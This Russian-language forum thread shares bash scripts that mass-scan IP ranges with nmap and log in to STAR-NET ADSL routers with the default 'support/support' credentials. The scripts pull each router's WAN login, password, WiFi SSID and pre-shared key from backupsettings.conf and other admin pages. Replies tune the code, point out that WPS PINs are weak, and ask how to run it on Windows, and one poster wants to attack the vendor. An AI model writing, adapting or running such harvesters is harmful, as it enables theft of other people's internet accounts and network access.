[Скрипт, bash] ADSL+ Star-Net Router - WAN\WIFI account grabber Скрипт написанный на bash, для автоматизированного выдерания логин\пароль от WAN и ssid\пасс от wifi с ADSL+ роутеров фирмы производителя STAR-NET продаваемым под брендом "DISLY интернет" интернет провайдером "Дальсвязь" ныне "Ростелеком". Кратко о работе скрипта: nmap ищет открытый 80 порт, wget залетает на роутер, проходит авторизацию, проходит до файла конфигузации роутера сливая его во временный файл который в последствии грепаем на наличие строк Username, Password, SSID, PreSharedKey, сохраняем найденное в файл grabb, катуем его выводя награбленное, удаляем временные файлы, прощаемся. Запуск: ./name_script.sh IP-255 или ./name_script.sh IP/mask кому как нравится. Code: #!/bin/bash IPRANGE="$1" REPORT="/root/tmp/scanlist" CONF="/root/tmp/wan" echo "Search..." nmap -n -sT -PN -p 80 --open -oG "$REPORT" "$IPRANGE" > /dev/null 2>&1 && { IPLIST="$(cat $REPORT | grep '80/open' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" for IP in $IPLIST ; do [[ $(wget -q -S -T 2 -t 1 "http://$IP" 2>&1 | grep -ic 'ADSL2+') -gt 0 ]] && { [[ $(wget -q -S -T 2 -t 1 --http-user=support --http-password=support -O $CONF "http://$IP/backupsettings.conf" 2>&1 | grep -ic '200 OK') -gt 0 ]] && { USERNAME=$(cat $CONF | grep -o '<Username>.*</Username>' | grep -v '<Username>(null)</Username>') PASSWORD=$(cat $CONF | grep -o '<Password>.*</Password>' | grep -v '<Password>(null)</Password>') WIFISSID=$(cat $CONF | grep -o '<SSID>.*</SSID>' | grep -v '<SSID>WI-FI_WLAN1</SSID>' | grep -v '<SSID>WI-FI_WLAN2</SSID>' | grep -v '<SSID>WI-FI_WLAN3</SSID>') WIFIPASS=$(cat $CONF | grep -o '<PreSharedKey>.*</PreSharedKey>' | grep -v '<PreSharedKey>star-net</PreSharedKey>') echo "$IP $USERNAME$PASSWORD $WIFISSID$WIFIPASS" >> grabb } } done } echo "Output..." cat "grabb" rm -f $CONF rm -f $REPORT exit 0
Прикольно, что пароли находятся в файле backupsettings.conf А в самом скрипте можно много лишних пайпов (|) убрать WIFISSID=$(cat ... Зачем ? В grep-е указать имя файла кучу grep -v можно заменить одним - grep -v "<SSID>WI-FI_WLAN[1-3]</SSID>"
Может лучше считывать переменную сразу nmap ..... | grep report | awk -F\ '{print $5}'; read переменная, и в цикл ее. Не надо ждать результатов. Более точно только завтра смогу опробовать.
Как же этим счастием воспользоваться? Если можно - поподробнее. Уже голова распухла от чтения. Или пендаля дайте, в какую сторону лететь?
Я имел дело с этими роутерами, почему-то до ссылки /backupsettings.conf не додумался. А ведь всё гениальное — просто. У меня получилось вот так: Code: #!/bin/bash [ "$1" == "" ] && exit # Get WPA-PSK PSK=`wget -T 15 --tries=1 -O - http://support:support@$1/wlsecurity.html 2>/dev/null | grep 'var wpaPskKey =' | awk -F \' '{print $2}'` # There's no need to check anything else if we got no WPA-PSK (web admin could not respond) [ "$PSK" == "" ] && exit SSID=`wget -T 15 --tries=1 -O - http://support:support@$1/wlcfg.html 2>/dev/null | grep 'var ssid =' | awk -F \' '{print $2}'` BSSID=`wget -T 15 --tries=1 -O - http://support:support@$1/wlcfg.html 2>/dev/null | grep -A2 -w 'BSSID:' | tail -n 1 | tr -d ' ' | tr -d '\r'` echo "$SSID $BSSID $PSK" Ещё делал утилиту для облегчения управления девайсами по телнету: https://github.com/jabberd/starnet P.S. Во всех AR800, которые мне попадались, не отключается WPS, так что в одной из соседних тем есть достаточно инфы по работе с этим. Большинство WPS-PIN просто-напросто повторяются, так что нет необходимости выдёргивать из них SSID/BSSID/PSK.
Мля... Ну, все-таки. пните в нужном направлении. Или, забаните, как лола. Есть ОХУЕ,,, желание накакать в STAR-NET.
Можно ли реализовать данный скрипт в винде. Или какая прога для скачивания подойдет для этого чтоб была возможность загрузки страниц по диапазону ip. Вытащить из html сам смогу.